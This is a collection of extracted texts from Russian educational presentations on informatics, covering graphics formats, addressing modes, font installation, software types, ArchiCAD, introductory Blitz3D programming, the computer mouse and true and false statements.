
extracted_text:
Способы представления графической информации
Растровая и векторная графика
Растровая графика
Для того, чтобы работать с изображением на компьютере, его нужно перевести в цифровой вид, т.е. оцифровать
Растровое  изображение состоит из множества маленьких точек, у каждой из которых может быть свой цвет, яркость и координаты
Точки выстроены, как в таблице: по строкам и столбцам. Из них, как из мозаики, получается изображение
Пиксель
Пиксель (picture element) – это минимальный элемент, из которого состоит растровое изображение
Растр
Растр – совокупность точек, выстроенных в четко заданном порядке. Обычно используется прямоугольный растр, т.е. точки выстраиваются в виде таблицы

Режимы растровых изображений
Понятие "режим растрового изображения" тесно связано с понятием "цветового разрешения".
Цветовое разрешение - это количество бит, отведенных на описание цвета одного пикселя.
Компьютер всю информацию хранит в двоичной системе счисления.
Переведем наши обычные цифры на компьютерный язык: 0 = 00000000 1 = 00000001 2 = 00000010 3 = 00000011 4 = 00000100 5 = 00000101 ... 255 = 11111111
В один бит можно сохранить всего две комбинации: 0 или 1. В два бита можно сохранить четыре комбинации: 00, 01, 10 и 11. В восемь бит можно сохранить 256 комбинаций: 00000000, 00000001, 00000010 ... 11111111. Если каждую комбинацию нулей и единиц рассматривать как цвет, то легко сообразить, что изображение с разрешением 1 бит/пиксель - двехцветное, а с разрешением 8 бит/пиксел содержит 256 цветов.
Цветовая модель "RGB"
Цветовая модель "RGB" обладает цветовым разрешением 24 бит/пиксель. В результате комбинации трех основных цветов и их интенсивности удается получить палитру из 16,7 млн. цветов.
Эта модель является основной цветовой моделью Photoshop и обычно используются ею по умолчанию.
Photoshop представляет 24 битовое RGB изображение с помощью трех цветовых каналов: красного, зеленого и синего. Каждый канал имеет 8 битовое разрешение.
Режим растрового изображения "Индексированные цвета".
В этом режиме информация о компонентах цвета (красном, зеленом и синем) каждого пикселя записывается в цветовую таблицу в виде фиксированных значений.
Индексированные цветные изображения обычно характеризуются набором битовых разрешений в виде 1, 4 или 8 бит/пиксель.
Этот режим используется в интернете, текстовых редакторах и других приложениях, где нельзя использовать истинное RGB изображение.
Режим "Градации серого»
Режим "Градации серого", имеет цветовое разрешение 8 бит/пиксел. Использует палитру из 256 оттенков серого. Этот режим широко используются для хранения черно-белых фотографий
"Полутоновый" режим
"Полутоновый" режим имеет цветовое разрешение 1 бит/пиксель
Полутоновое изображение реализовано с помощью точек разного размера.
В таком изображении оттенки серого имитируются точками разного диаметра. Такой способ реализации изображения базируется на специфике восприятия человеческого глаза, для которого увеличение размеров точки ассоциируется с более темными тонами и, наоборот, точки меньшего размера воспринимаються в виде более светлых тонов.
Этот режим используется при подготовке изображений для газет и журналов.
Режим "Монохромная графика"
Режим "Монохромная графика", имеет цветовое разрешение 1 бит/пиксель.
Для отображения графического документа используются лишь два цвета: черный и белый. В результате получается очень контрастное изображение.
Этот самый экономный тип изображений прекрасно подходит для штриховых иллюстраций, чертежей, гравюр, простых логотипов и т. д.
Глубина цвета
Глубина цвета – количество битов, выделенных для записи цвета одного пикселя

Соответствие между глубиной цвета и количеством цветов
Векторная графика
Основными элементами векторной графики являются простые геометрические фигуры, которые хранятся в памяти компьютера в виде математических формул и числовых пара-метров
Примитивы
Простейшие элементы, из которых состоит векторное изображение, называют  примити-вами
Примитивы
Отрезки (прямые и кривые)
Точки
Окружности
Прямоугольники
Векторизация
Векторизация (трассировка) – процесс перевода растровой графики в векторную
Смысл делать векторизацию есть в том случае, если растровые изображения имеют четкие детали (логотипы, чертежи) либо необходима стилизация изображения, т.к. при преобразовании фотографии в векторную графику оно либо теряет детальность и множество цветов, либо занимает гораздо больше места, чем в растровом виде
Растеризация
Растеризация – процесс перевода векторной графики в растровую
Растеризация необходима  для того, чтобы увидеть векторное изображение на экране монитора
Сравнение растровой и векторной графики
Сравнение растровой и векторной графики


title: Скачать презентацию или конспект Способы адресации в микропроцессорных системах

extracted_text:
Лекция 6.Способы адресации в микропроцессорных системах
	Для взаимодействия с различными модулями в ЭВМ должны быть средства идентификации ячеек внешней памяти, ячеек внутренней памяти, регистров МП и регистров устройств ввода/вывода. Поэтому каждой из запоминающих ячеек присваивается адрес, т.е. однозначная комбинация бит. Количество бит определяет число идентифицируемых ячеек. 	Обычно ЭВМ имеет различные адресные пространства памяти и регистров МП, а иногда - отдельные адресные пространства регистров устройств ввода/вывода и внутренней памяти. Кроме того, память хранит как данные, так и команды. Поэтому для ЭВМ разработано множество способов обращения к памяти, называемых режимами адресации.

Режим адресации памяти - это процедура или схема преобразования адресной информации об операнде в его исполнительный адрес.

Режимы адресации

	Все способы адресации памяти можно разделить на:

1) прямой, когда исполнительный адрес берется непосредственно из команды или вычисляется с использованием значения, указанного в команде, и содержимого какого-либо регистра (прямая адресация, регистровая, базовая, индексная и т.д.);

2) косвенный, который предполагает, что в команде содержится значение косвенного адреса, т.е. адреса ячейки памяти, в которой находится окончательный исполнительный адрес (косвенная адресация).

	В каждой микроЭВМ реализованы только некоторые режимы адресации, использование которых, как правило, определяется архитектурой МП.
Режимы адресации
Форматы команд и способы адресации
	Обработка информации в микропроцессорной системе осуществляется автоматически, путем программного управления. Программа представляет собой алгоритм обработки данных, записанный в виде последовательности команд, которые должны быть выполнены системой для получения требуемого результата.

	Команда представляет собой код, определяющий операцию обработки информации и данные, участвующие в этой операции.
	По характеру выполняемых операций все возможные команды условно делят на несколько основных групп:
а) команды арифметической обработки;
б) команды логической обработки;
в) команды передачи (пересылки) кодов;
г) команды ввода-вывода;
д) команды передачи управления;
е) команды управления режимами работы микропроцессора и др.

	Код команды можно представить состоящим из нескольких частей или полей, имеющих определенное функциональное назначение. В общем случае, команда состоит из кода операции (КОП) и адресной части (Поля адресов).
Форматы команды
Код операции – задает действие (сложение, умножение, передача), определяемое командой. А поле адресов – содержит информацию о расположении подлежащих обработке операндов, расположении результата, а в некоторых случаях, и о месте расположения следующей команды. Иногда в коде команды могут содержаться и сами данные, тогда для них выделяется отдельное
поле – поле данных.
Формат команды – это совокупность сведений о длине, составе, назначении и взаимном расположении частей, или информационных полей в составе команды.
	Двоичный n-разрядный номер ячейки памяти, к которой нужно обратиться в ходе выполнения вычислительного процесса, принадлежащий этой и только этой ячейке – называется полным физическим или исполнительным адресом.

	Процедура вычисления исполнительного адреса определяется способами адресации и расположением самих операндов, которые могут находиться:

- в самой команде;
- в регистрах микропроцессора;
- в памяти, т.е. в ОЗУ;
- в устройствах ввода-вывода.
Способы адресации
	Следует различать понятия исполнительный адрес и адресный код в формате команды.

	Исполнительный адрес — это номер ячейки памяти, к которой производится фактическое обращение.

	Адресный код — это информация об адресе операнда, содержащаяся в команде. В современных микросистемах, адресный код часто не совпадает с исполнительным адресом. Выбор способов адресации, формирования исполнительного адреса и преобразования адресов является одним из важнейших вопросов разработки ЭВМ.
Способы адресации команд
	Команды разных микропроцессорных систем могут использовать различные способы адресации, которые применяются как сами по себе, так и совместно друг с другом. Рассмотрим некоторые способы адресации, широко используемые в современных ЭВМ:

	Неявная адресация. В команде не содержится явных указаний об адресе участвующего в операции операнда или адреса, по которому помещается результат операции, но этот адрес, так или иначе, подразумевается. И в конечном итоге жестко привязан к выполняемой операции.

	Прямая адресация. Исполнительный адрес совпадает с адресной частью команды. Этот способ адресации был общепринятым в первых вычислительных машинах и продолжает применяться в настоящее время в комбинации с другими способами.

Способы адресации команд
	Непосредственная адресация. В команде содержится не адрес операнда, а непосредственно сам операнд. Такая адресация удобна для хранения различного рода констант.

	Относительная адресация или базирование. Исполнительный адрес определяется суммой адресного кода команды АК и некоторого числа АБ называемого базовым адресом:
АИ = АБ + АК

	Относительная адресация позволяет при меньшей длине адресного кода команды обеспечить доступ к любой ячейке памяти. Для этого число разрядов в базовом адресе выбирают таким, чтобы можно было адресовать любую ячейку ОЗУ, а адресный код АК самой команды используют для представления лишь сравнительно короткого «смещения».

Способы адресации команд
	Регистровая адресация. Для уменьшения длины адресного кода, используются регистры микропроцессора, в качестве фиксированных ячеек с короткими адресами. (Если таких регистров 16, то для адресации одного из них достаточно четырех двоичных разрядов.). Применение регистровой адресации наряду с сокращением длины адресов операндов, позволяет увеличить скорость выполнения операций, так как уменьшается число обращений к ОЗУ через системную магистраль.

	Косвенная адресация. Адресный код команды указывает адрес ячейки памяти, в которой находится адрес операнда или команды. Таким образом, косвенная адресация может быть иначе определена как «адресация адреса».

Способы адресации команд
	Автоинкрементная и автодекрементная адресации. Обеспечивает эффективную работу с массивами данных, за счет формирования адреса следующего элемента массива путем автоматического приращения или уменьшения адреса текущего обрабатываемого элемента массива, при его косвенной адресации.
Способы адресации команд
	Использование всего набора способов адресации и их правильный выбор для каждого конкретного случая – позволяет:

- обеспечить доступ к структурированным данным;

- обеспечить перемещаемость программ и данных без изменения их кодов на этапе загрузки;

- сократить длину программного кода и число обращений к магистрали;

- адресовать большой объем памяти в условиях малой разрядности
микропроцессора.
Реализация и применение способов адресации


title: Скачать презентацию или конспект Шрифт TrueType (Primo) для прописей-текстов

extracted_text:
Шрифт TrueType (Primo)                      для прописей-текстов
                                     Автор презентации: Галкина И.А.
В среде Windows с помощью команды Пуск - Панель управления/.../Шрифты
открыть окошко с установленными на компьютер шрифтами и перетащить туда мышью файл primo.ttf. (Если в окошке уже имеется файл более старой версии, то его следует предварительно оттуда удалить.)
В редакторе MS Word перейти в раздел меню Сервис – Макрос - Безопасность и выбрать уровень безопасности «средняя».
Открыть в редакторе MS Word файл primo.dot . Появится предупреждение, что открываемый файл содержит макросы. Из предложенных вариантов выбрать «Не отключать макросы». Теперь можно приступать к работе.
Вначале текст набирается каким-либо обычным шрифтом, например, Times New Roman.
Затем текст выделяется мышью. Команды:
Сервис – Макрос – Макросы – ToPrimo – Выполнить
Макрос ToPrimo переводит выделенный текст в шрифт Primo, вставляя при этом соединительные линии. Можно изменить цвет букв в текстовом редакторе  (например, серый для обводки).
По завершению работы в редакторе MS Word перейти в раздел меню Сервис – Макрос - Безопасность и восстановить прежний уровень безопасности (рекомендуется «высокая»).

     УДАЧНОЙ РАБОТЫ!
Источник – сайт Леонида Некина «Тропинка к гениальности» : http://nekin.narod.ru/e21.htm


title: Скачать презентацию или конспект Программное обеспечение компьютера

extracted_text:
Программное обеспечение компьютера
Подготовила: учитель информатики МБОУ МОШ №49 г. Шахты Ростовской области В.Н. Верёвкина
Ответьте на вопросы:
Что такое процессор?
Какие устройства ввода вы знаете?
Какие устройства вывода вы знаете?
Что такое оперативная память?
Что такое долговременная память?
Какие типы персональных компьютеров вы знаете?
Что такое данные?
Что такое программы?
Что такое файл?
Что такое файловая система?
Для чего нужна программа архиватор?
Для чего нужно делать дефрагментацию диска?
Прикладное ПО – это программы, с помощью которых пользователь решает свои информационные задачи, не прибегая к программированию
Виды программного обеспечения (ПО)
Системное ПО
Прикладное ПО
Системы программирования (СП)
Общего назначения
 Текстовые редакторы
-Графические редакторы
СУБД (базы данных)
Электронные таблицы
Коммуникационные (сетевые) программы
Компьютерные игры

Специального назначения
Бухгалтерские пакеты
Системы автоматизированного проектирования (САПР)
 Математические пакеты
Экспертные системы
Педагогические программные средства
Системное ПО и системы программирования
Операционная система (ОС)
Операционная система (ОС)

Ядро         Файлы
Функции операционной системы
Диалог с пользователем
 управление ресурсами (процессорным временем, внутренней памятью, внешними устройствами)
 работа с файлами
ОЗУ
ВЗУ
Примеры ОС : MS-DOS, CP/M, UNIX, WINDOWS,….
Установка ОС
Системный диск
Загрузка ОС
Оперативная память
Установка и загрузка операционной системы
дистрибутив
Загрузка операционной системы начинается в одном из трех случаев:
Включении питания компьютера;
Нажатия кнопки Reset на системном блоке компьютера;
Одновременном нажатии клавиш[Ctrl]+[Alt]+[Del] на клавиатуре.
Домашнее задание: § 1.5.1 контрольные вопросы на стр. 43.


title: Скачать презентацию или конспект Разработка плана действий и его запись

extracted_text:
Подготовил: учитель информатики и ИКТ
Сомова Н.Ю.
Разработка плана
действий
и его запись
Цель урока:

закрепить знания учащихся о задачах обработки информации;
расширить представления о способах записи плана действий;
продолжить формирование умений разработки и записи плана действий в практической деятельности (при решении конкретных задач).
Проверка усвоения изученного материала
Перечислите основные действия с информацией;

К информационным процессам относят получение, хранение, передачу и обработку информации
     Приведите примеры обработки информации, ведущие к изменению её формы, но не содержания;
Назовите приложение, используемое для обработки числовой информации
Изменение шрифта, подчеркивание, т.е. редактирование документа
Назовите приложение, используемое для обработки текстовой информации;
Блокнот, WordPad
Назовите приложение, используемое для обработки графической информации;
Paint
Калькулятор
Основные понятия
Информационная задача;
Входные данные;
Выходные данные;
План действий;
Алгоритм.
Правильная последовательность действий
Если нет едущих машин, то дойди до разделительной линии проезжей части;
Посмотреть направо;
Если нет едущих машин, то закончить переход;
Подойти к пешеходному переходу;
Посмотреть налево;
Слово “алгоритм” происходит от имени великого среднеазиатского ученого 8-9 вв. Аль-Хорезми, который родился в городе Хива в Хорезме (Хорезм - историческая область на территории современного Узбекистана).
Запись в тетрадь:
Входной называется имеющаяся информация;
   Выходной называется информация,   полученная в результате преобразования.
Задача №1
В треугольнике АBC АВ = 18 см, BC на 3 см меньше АВ, АC в 3 раза меньше АВ. Чему равен периметр треугольника АBC?

A
B
C
Проверим:

Р = АВ + ВС + АС;
ВС = 18 – 2 = 15 (см);
АС = 18/3 = 6 (см);
Р = 15 + 6 + 18 = 39 (см).
Задача №2
Два солдата подошли к реке, по которой на лодке катаются двое мальчиков. Как солдатам переправиться на другой берег, если лодка вмещает только одного солдата либо двух мальчиков, а солдата и мальчика уже не вмещает?
М1, М2
С1, С2

М1, М2
М2

М1
С1, С2, М1
С2, М1
С1

М2, C1
C1

M2
С2,  М1, M2
С2

М1, М2, C1
М2, C1

С2, M1
М1

М2, C1, C2
C1, C2

М1, M2
М1, M2
М1
С2
М2

ФИЗКУЛЬТМИНУТКА
Задача на дом
На берегу реки стоит крестьянин с лодкой, а рядом с ним – волк, коза и капуста. Крестьянин должен переправиться сам и перевезти волка, козу и капусту на другой берег. Однако в лодку кроме крестьянина помещается либо волк, либо только коза, либо только капуста. Оставлять волка с козой либо козу с капустой без присмотра нельзя – волк может съесть козу, а коза – капусту. Как должен вести себя крестьянин?

Оформите план переправы любым известным Вам способом.
Сделаем вывод:
        Обрабатывать информацию одним методом нельзя. Информацию необходимо обрабатывать тем методом, который наиболее приемлим в данной ситуации
Обратите внимание на карточки у вас на столе. В них вы должны оценить свои достижения на этом уроке. Определите свою оценку за урок
Отметка (собственное мнение):
     а) Я много узнал нового
     б) На уроке было интересно
     в) На уроке было скучно

не получалось _________________________________________________
не понял (а) _________________________________________________
трудно потому что _________________________________________________

Нарисуйте!
Мне понравилось

                                         Не понравилось

Источники:
http://www.associazionelafontana.it/foto_veicolo_00020_2G.jpg
http://sesia5.ru/blok/3/images/13.png
http://cdn3.mos.techradar.futurecdn.net/classifications/computing/software/images/lovedsoftware/paint-580-90.jpg
http://videouroki.net/look/superfizmin/righttd/index.html
http://www.cape.k12.mo.us/blanchard/hicks/teacher%20pages/f0v_uqeg[1].gif
http://festival.1september.ru/articles/517786/img2.jpg
http://reshizadachu.ucoz.ru/index/zadachi_o_perepravakh/0-9
http://festival.1september.ru/articles/517786/
http://ru.wikibooks.org/wiki/%D1%EB%EE%E2%EE_%AB%E0%EB%E3%EE%F0%E8%F2%EC%BB:_%EF%F0%EE%E8%F1%F5%EE%E6%E4%E5%ED%E8%E5_%E8_%F0%E0%E7%E2%E8%F2%E8%E5


title: Скачать презентацию или конспект Операции над объемными элементами в программе ArchiCAD

extracted_text:
Операции над объемными элементами  в программе ARCHICAD
Разработал преподаватель Розенкевич Н.Р.

Порядок выполнения:
Конструирование > Операции над объемными элементами
Правая кнопка мыши – Соединить -Операции над объемными элементами
Операциях над объемными фигурами выделяются элементы следующих двух ролей:
Цель -это элемент, фигура которого изменяется в результате выполнения операции.
Оператор -элемент, который оказывает воздействие на форму элемента, с которым он связан.

Виды операций:
Вычитание. Приводит к вырезанию фигуры оператора из целевого элемента.
Вычитание с выталкиванием вверх. Приводит к вырезанию из целевого элемента, как фигуры оператора, так и ее вертикальной проекции, от нижней части фигуры оператора и до верхней части целевого элемента.
Вычитание с выталкиванием вниз. Приводит к вырезанию из целевого элемента, как фигуры оператора, так и ее вертикальной проекции, от верхней части фигуры оператора и до нижней части целевого элемента.
Пересечение. Сохраняется только общая часть цели и оператора.
Добавление. Фигура цели добавляется к фигуре оператора.

Порядок выполнения
Вызвать окно «операции с объемными  элементами»
Выделить  целевой объект (с которым производится действие(стена))
Нажать на кнопку «получить целевые элементы»
Выделить объект оператор (лестница)
Нажать на кнопку «получить элементы оператора»
Выбрать вид операции
Нажать кнопку «выполнить»

Управление соединениями объемных элементов
При выборе любого элемента, над которым была выполнена операция над объемным элементом, появляется пиктограмма соединения, при щелчке на которой открывается список соединенных элементов.
Вы можете выделить любой элемент из списка и исключить его из соединения.


title: Скачать презентацию или конспект Теоретические основы трехмерной графики

extracted_text:
Теоретические основы трехмерной графики
Теория построения трехмерных изображений и рендеринга.
3D Graphics
Трехмерная графика (3D Graphics) – визуальное отображение трехмерной сцены или объекта. Для представления трехмерной графики на двумерном устройстве (дисплее) применяют рендеринг.
rendering
Рендеринг (rendering) – процесс создания реалистичных изображений на экране, использующий математические модели и формулы для добавления цвета, тени и т. д.

Трехмерная модель
Из 3D в 2D
Для отображения трехмерной модели на двухмерном экране монитора требуется произвести специальные математические преобразования трехмерных координат всех точек в двухмерные.

Камера
Аффинные преобразования
При смене позиции наблюдателя требуется произвести преобразования координат, связанные с поворотом объекта, его масштабированием и учетом перспективы.

Такие преобразования называются аффинными преобразованиями
Пример преобразования
Аффинные преобразования применяются при повороте и трансформации объекта (масштабирование, скос).

Допустим, что при повороте ординаты точек (у-координаты) не меняются. Значит, поворот происходит относительно оси y.
Освещение
Модель начинает выглядеть трехмерной только после моделирования освещения, а это напрямую связано с положением плоскостей (полигонов) модели, точнее, с направлением перпендикуляров к плоскостям – нормалей.

Степень освещенности точки зависит от угла падения лучей света. Чем меньше угол между нормалью и лучом света, тем больше освещенность точки поверхности.
Нормали
Если взять ровную поверхность, то нормали в каждой ее точке будут одинаковыми и освещенность также будет одинаковой.
А если поверхность неровная, то нормали в каждой точке будут разными - и освещенность тоже.
Модель освещенности Фонга
Вклад в это значение от каждого источника света зависит от расстояния между источником света и точкой на поверхности.
Модель освещенности Фонга
Модель Фонга-Блинна
Дальнейшее развитие
В дальнейшем, исследователи придумывали иные способы вычисления этой составляющей, более сложные (Blinn, Cook-Torrance, Ward), учитывающие распределение энергии света, его поглощение материалами и рассеивания в виде диффузной составляющей.
Игра света и тени
С целью расчета теней и полутеней (диффузных теней) применяются различные алгоритмы – Ray tracing (трассировка лучей), Radiosity (излучение).
На рисунке представлены результаты просчета теней и диффузной засветки при помощи Radiosity.
Первые уроки
3D программирование
Окно в 3d мир.
Структура программы
Камера
Свет

Объекты
Действия с объектами
окончание
голова
тело
ноги
голова
Graphics3D 640,480,16,1Устанавливает 3D Графический способ.  Синтакс такой: Graphics3D ширина, высота, глубина цвета, режим Ширина, высота – размер создаваемого экранаГлубина – глубина цвета – 16, 24 или 32 бита на пиксель.
Режим: 0 – оконный во время разработки (если возможно), полноэкранный в .exe формате; 1 –полноэкранный 2 –оконный 3 –оконный, с возможностью изменения размеров окна.
голова
SetBuffer BackBuffer() – установить поток, буфер.

cam=CreateCamera() – это самая основная команда в 3D программах. Если не будет даже  одной камеры то 3D программа работать не будет, камера-это тоже самое, что и наши глаза, через неё мы видим окружающий 3D мир. Lit=CreateLight() – Это команда создает источник света. Можно изменять тип света, в скобки вписываем следующие значения: 1:направленный 2:точка 3: пятно
тело
cub=CreateCube() – Это мы создаем 3D объект куб.
Геометрические объекты:
CreateSphere () - сфераCreateCylinder () - цилиндрCreateCone() – конус

PositionEntity cub,0,0,5 – Эта команда помещает объект в позиции и в 3D месте.
ScaleEntity cub,1,0.3,1 – Изменяет размер объекта RotateEntity cub,0,40,0 – Вращает объект так, чтобы это было при абсолютной ориентации.
тело
TurnEntity cub,0.6,0.2,0.3 –  вращение
TurnEntity        entity,pitch#, yaw#, roll#, [,global] Tpitch# - X угол и эквивалентна наклону вперед / назад. Yaw# - Y угол и эквивалентен вращению налево / вправо. Roll# - Z угол и эквивалентен наклону налево / вправо. UpdateWorld ()– UpdateWorld [anim_speed#] anim_speed# (необязательный) – скорость для мультипликации.
Установлен по  умолчанию в 1.
тело
Repeat
…………………………….
Until KeyHit(1) – Между этими двумя командами будет происходить основной цикл игры. При нажатии кнопки ESC начинает читать следующую команду.
ноги
End – Завешает программу
________________________________________
Создаём шаблон
Интерфейс программы.
Так выглядит окно Blitz3d:
Синее текстовое поле является основным – в нём пишут программный код.
Запуск и отладка программы: Для запуска программы нажмите F5 или
 Для запуска предыдущей программы нажмите F6 Для проверки ошибок нажмите F7 Для создания .exe файла нажмите: меню Program -> Create Executable Для включения\отключения отладочного окна: меню Program -> Debug Enabled В правой части окна находится панель с тремя вкладками: Funcs – отображает все функции, которые используются в проекте. Types – отображает все типы, которые используются в проекте. Label – отображает все метки.
Graphics3D 640,480,16,2 SetBuffer BackBuffer() cam=CreateCamera() lit=CreateLight() ………………………………………. Repeat …………………………………………UpdateWorld RenderWorld Flip Until KeyHit(1) End
Graphics3D 800,600,32,2
SetBuffer BackBuffer()
camera=CreateCamera()

PositionEntity camera,0,2,-9

light=CreateLight()

cub=CreateCube()

RotateEntity light,45,90,45

While Not KeyHit(1)=1
RenderWorld()
Flip()
Wend
End
камера
Позиция камеры
свет
Ставим куб
Поворот куба
Пока не нажата ESC
Нарисуем КУБ
Поставим сферу.
Graphics3D 800,600,32,2
SetBuffer BackBuffer()
camera=CreateCamera()
PositionEntity camera,0,2,-9
light=CreateLight()

cub=CreateCube()

sph=CreateSphere(32)

ScaleEntity sph,1,1,1
ScaleEntity cub,1,1,1
EntityAlpha cub,0.5
RotateEntity cub,45,45,45

RotateEntity light, 90,45,45

While Not KeyHit(1)=1
RenderWorld()
Flip()
Wend
End
Размер объекта
Прозрачность  объекта
ДОМА:
Поставить цилиндр на куб.
Используем:
CreateCylinder () - цилиндрCreateCube() - куб

PositionEntity cub,0,0,5 – Эта команда помещает объект в          позиции и в 3D месте.

ScaleEntity cub,1,0.3,1 – Изменяет размер объекта
Поставим объект
Graphics3D 640,480,16,1 SetBuffer BackBuffer() cam=CreateCamera() lit=CreateLight() cub=CreateCube()  PositionEntity cub,0,0,5 ScaleEntity cub,1,0.3,1 RotateEntity cub,0,40,0 Repeat TurnEntity cub,.6,.2,.3 TurnEntity lit,5,5,0 UpdateWorld RenderWorld Flip Until KeyHit(1) End
Практическая работа.
Изменить параметры света.
Изменить размер объекта.
Переместить объект вверх
Переместить объект вправо.
Изменить скорость вращения.
Дома: 1. Установить программу
            2. Создать сферу и цилиндр.

Дома: 1. Установить программу
            2. Создать полупрозрачную сферу и внутри цилиндр.


title: Скачать презентацию или конспект Компьютерная мышь

extracted_text:
Компьютерная мышь
Котлярова В.Ю., учитель информатики, МБОУ СОШ №1 им. Н.К.Крупской,города Нижний Тагил

Загадалка
	Как «зовут» устройство, сыгравшее одну из главных ролей в сказке Репка?
мышь
Компьютерная мышь
Манипуля́тор «мышь» (просто «мышь») — это механический манипулятор, преобразующий механические движения в движение курсора на экране.
История
Дуглас Энгельбарт,
 американский изобретатель, работавший в Стэндфордском научно-исследовательском институте
Официальный день рождения компьютерной мыши - 9 декабря 1968 года
История…
Большинству обладателей ПК вряд ли известно имя Дугласа Карла Энгельбарта. Однако это упущение не мешает практически 1 млрд. человек ежедневно пользоваться его творениями, самое популярное из которых – компьютерная мышь.
30 января 1925 года близ Портленда, штат Орегое, в семье обычных фермеров-трудяг появился на счет мальчик. Мальчик пошел в школу, после нее поступил в местный университет, нацелившись на диплом инженера электрика. Но неожиданно грянувшая Вторая мировая война спутала все планы, определив молодого Дугласа на филиппинскую военную морскую базу радиотехником.

Прямой привод
Изначальная конструкция датчика перемещения мыши, изобретённой Дугласом Энгельбартом в Стенфордском исследовательском институте в 1963 году, состояла из двух перпендикулярных колес, выступающих из корпуса устройства. При перемещении колеса мыши крутились каждое в своем измерении.
Такая конструкция имела много недостатков и довольно скоро была заменена на мышь с шаровым приводом.

Оптопарные (оптомеханические) датчики
Оптронный датчик состоит из двойной оптопары — светодиода и двух фотодиодов (обычно — инфракрасных) и диска с отверстиями или лучевидными прорезями, перекрывающего световой поток по мере вращения. При перемещении мыши диск вращается, и с фотодиодов снимается сигнал с частотой, соответствующей скорости перемещения мыши.
Второй фотодиод, смещённый на некоторый угол или имеющий на диске датчика смещённую систему отверстий/прорезей, служит для определения направления вращения диска (свет на нём появляется/исчезает раньше или позже, чем на первом, в зависимости от направления вращения).

Дополнительные кнопки

Производители постоянно стараются добавить дополнительные кнопки, чаще всего — кнопки под большой или указательный и реже — под средний палец.
Некоторые кнопки служат для внутренней настройки мыши (например, для изменения чувствительности) или двойные-тройные щелчки (для программ и игр), на другие — в драйвере и/или специальной утилитой назначаются некоторые системные функции, например:

горизонтальная прокрутка;
двойное нажатие (double click);
навигация в браузерах и файловых менеджерах;
управление уровнем громкости и воспроизведением аудио- и видеоклипов;
запуск приложений;

Сенсорное управление
В 2009 году фирмой Apple представлена мышь Magic Mouse, являющаяся первой в мире мышью с сенсорным управлением и поддержкой технологии мультитач.
Вместо кнопок, колёсиков и прочих элементов управления в этой мыши используется сенсорный тачпад, позволяющий при помощи различных жестов осуществлять нажатия, прокрутку в любом направлении, масштабирование картинки, переходы по истории документов и пр.

Беспроводные мыши
Сигнальный провод мыши иногда рассматривается как мешающий и ограничивающий фактор. Этих недостатков лишены беспроводные мыши.
 Однако беспроводные мыши имеют серьёзную проблему — вместе с сигнальным кабелем они теряют стационарное питание и вынуждены иметь автономное, от аккумуляторов или батарей, которые часто далеки от совершенства.

Необычные компьютерные мыши
ЛКМ
ПКМ
1ЩЛКМ
2ЩЛКМ
Вызов меню
Перемещение
Основные приемы работы
Как правильно выбрать мышку
Людям, много времени проводящим за компьютером, известно такое заболевание, как «туннельный синдром». Проблема эта типично «мышинная» и проявляется в виде частичной потери чувствительности кисти и появлении болезненных ощущений в запястьях и пальцах.
Возникают эти симптомы в следствие постоянной статической нагрузки на одни и те же мышцы, большего количества однообразных движений при работе с мышкой и чрезмерного изгиба в запястье.
Чтобы избежать проблем со здоровьем, при выборе мышки необходимо обратить внимание на несколько важных моментов.
Во-первых, обратите внимание на тип корпуса манипулятора.
Самый распространённый корпус - классический. Он имеет округлую форму и симметричен относительно условной оси «Y» (вид на мышку, лежащую на столе в рабочем положении, сверху). При этом нижняя часть боков мышки обычно немного скруглена внутрь (как бы вдавлена по направлению к центру).

У такой формы немало плюсов: при статичном захвате кисть на мыши располагается уверено, а в процессе работы ладонь фиксируется, ведь мягко скругленный корпус не «сталкивает» кисть в стороны; площадь комфортных перемещений мыши практически не меняется при управлении курсором, а нервно-мышечное напряжение пропорционально выполняемой работе.

Однако, при длительной (несколько часов) работе с таким устройством может ощущаться дискомфорт в области основания большого пальца. Это объясняется симметрией корпуса, не учитывающей особенности строения кистей рук правшей и левшей.

Более удобен в этом отношении эргономичный корпус. Обычно манипуляторы с таким корпусом  имеют «спинку», немного скошенную к основанию ладони и чаще всего — асимметричны в поперечнике. При этом боковые части корпуса немного заострены у основания и выдвинуты наружу, образуя опору для кисти руки. Фактически, такая мышь повторяет своей формой ладонь.
При всех своих плюсах, такие корпуса имеют недостатки. Так, при перемещении мыши по рабочей поверхности могут потребоваться дополнительные усилия для удержания манипулятора в ладони: как только кисть немного расслабляется, мышь начинает «выползать» из кисти.
Кроме того, асимметричные эргономичные корпуса как правило заточены под использование правшами - «леворукие» модели встречаются далеко не у всех производителей.

Обязательно позаботьтесь о выборе мышки правильного размера
Советуют прямо в магазине взять манипулятор в руки и проверить, насколько хорошо он подходит к вашей ладони.
Для комфортной работы необходимо, чтобы пальцы спокойно и естественно дотягивались до всех функциональных кнопок.
При этом ладонь должна оставаться в максимально естественном положении.
Определить такое положение просто — вытяните руки вперёд, ладонями вниз, и полностью расслабьте пальцы. В идеале, примерно в таком вот согнутом положении пальцы должны располагаться и на спинке мышки.
Источники
http://www.kanc-eksmo.ru/upload/iblock/e27/xmdzoy.-tcxbs.jpg
http://moikompas.ru/img/compas/2008-01-03/comp_mouse/32640742.jpg
http://it-master.biz/istoriya-sozdaniya-kompyuternoj-myshki
http://delovoy-kirov.ru/iv/1906313/index412.html
http://blogga.ru/image/days/2009/04/mouse-bullion-01.jpg
http://www.priborinfo.ru/i/uploads/street-mouse_06.jpg
http://www.priborinfo.ru/i/uploads/PerificDualMouse_08.jpg
http://www.priborinfo.ru/i/uploads/AP-100_09.jpg
http://www.priborinfo.ru/i/uploads/Foot-mouse_14.jpg
http://www.priborinfo.ru/i/uploads/Helmet-mouse_11.jpg


title: Скачать презентацию или конспект Понятия Истина и Ложь

extracted_text:
Видеоурок информатики в 4 классе по теме: «Понятия ИСТИНА и ЛОЖЬ»
(Учебник «Информатика и ИКТ». 4 класс. Н.В. Матвеевой, Е.Н.Челак и др.)
Подготовила учитель начальных классов
МКОУ 1 - Абрамовской СОШ
Таловского района,
Воронежской области
Воропаева С.В.
woropa2013@mail.ru
Истину люди добывают, когда наблюдают, размышляют, исследуют, сравнивают, вычисляют, измеряют.
Высказывание может быть ИСТИННЫМ или ЛОЖНЫМ.

Муравей меньше слона.
Слоны летают.
Примеры истинных высказываний
2+3=5
Москва - столица России.
Полная луна похожа на блин, а месяц – на серп.
Дети любят играть.
Девять делится на три.
Примеры ложных высказываний
Ласточки не летают, а страусы  летают.
Планета Земля больше Солнца.
Боровики - ядовитые грибы.
10 делится на 3 без остатка.
Глаза - органы слуха.
Это птица.
Истина – это то, что соответствует действительности. Ложь – это то, что действительности не соответствует.
«На рисунке изображен лист березы» - это истинное высказывание.
